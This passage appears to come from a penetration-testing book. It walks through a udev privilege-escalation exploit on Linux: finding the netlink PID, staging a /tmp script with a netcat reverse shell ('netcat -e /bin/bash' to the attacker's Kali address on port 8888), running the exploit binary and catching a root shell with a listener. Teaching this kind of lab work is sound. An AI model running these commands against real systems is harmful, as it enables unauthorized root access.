You’ll notice there are no prompts after exploitation. That’s an arti‐
fact of this exploit and the user we have exploited. Just because we
don’t get a prompt doesn’t mean we haven’t compromised the sys‐
tem. Just start sending commands to see if they are accepted.
We aren’t ready to perform the exploit, though. We have some work to do. The
exploit works by injecting into a running process. First, we need to identify the PID
we are going to inject into. We can use the
proc
pseudo filesystem, which stores infor‐
mation associated with processes. We are looking for the PID for the
netlink
process.
We find that to be 2686 in
Example 6-17
. To verify that, we can just double-check
against the PID for the
udev
process. The PID we need to infect is going to be one
below the
udev
PID. We can see that the
udev
PID is 2687, which is one above the
PID we had already identified. This means that we know the PID to use, but we still
need to stage a bash script that our exploit is going to call. We populate that script
with a call to
netcat
, which will open up a connection back to the Kali system, where
we’ll create a listener using
netcat
.
Example 6-17. Privilege escalation using udev vulnerability
cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
ddf0e800
0
0
00000000
0
0
00000000
2
df7df400
4
0
00000000
0
0
00000000
2
dd39d800
7
0
00000000
0
0
00000000
2
df16f600
9
0
00000000
0
0
00000000
2
dd82f400
10
0
00000000
0
0
00000000
2
ddf0ec00
15
0
00000000
0
0
00000000
2
dccbe600
15
2686
00000001
0
0
00000000
2
de12d800
16
0
00000000
0
0
00000000
2
df93e400
18
0
00000000
0
0
00000000
2
ps auxww | grep udev
root
2687
0.0 0.1
2092
620
? S
echo
"#!/bin/bash"
> /tmp/run
echo
"/bin/netcat -e /bin/bash 192.168.86.30 8888"
>> /tmp/run
./tuxbowling 2686
On the Kali end, we would use
netcat -l -p 8888
, which tells
netcat
to start up a lis‐
tener on port 8888. I selected that port, but there is nothing special about it. You
could use any port you wanted so you have a listener. Remember, you won’t get a
prompt or any indication that you are connected on the
netcat
listener end. You can,
again, just start to type commands. The first thing you can do is run
whoami
to deter‐
mine what user you are connected as. After running the exploit, you will find that you
are root. You will also find that you have been placed into the root of the filesystem
(/).
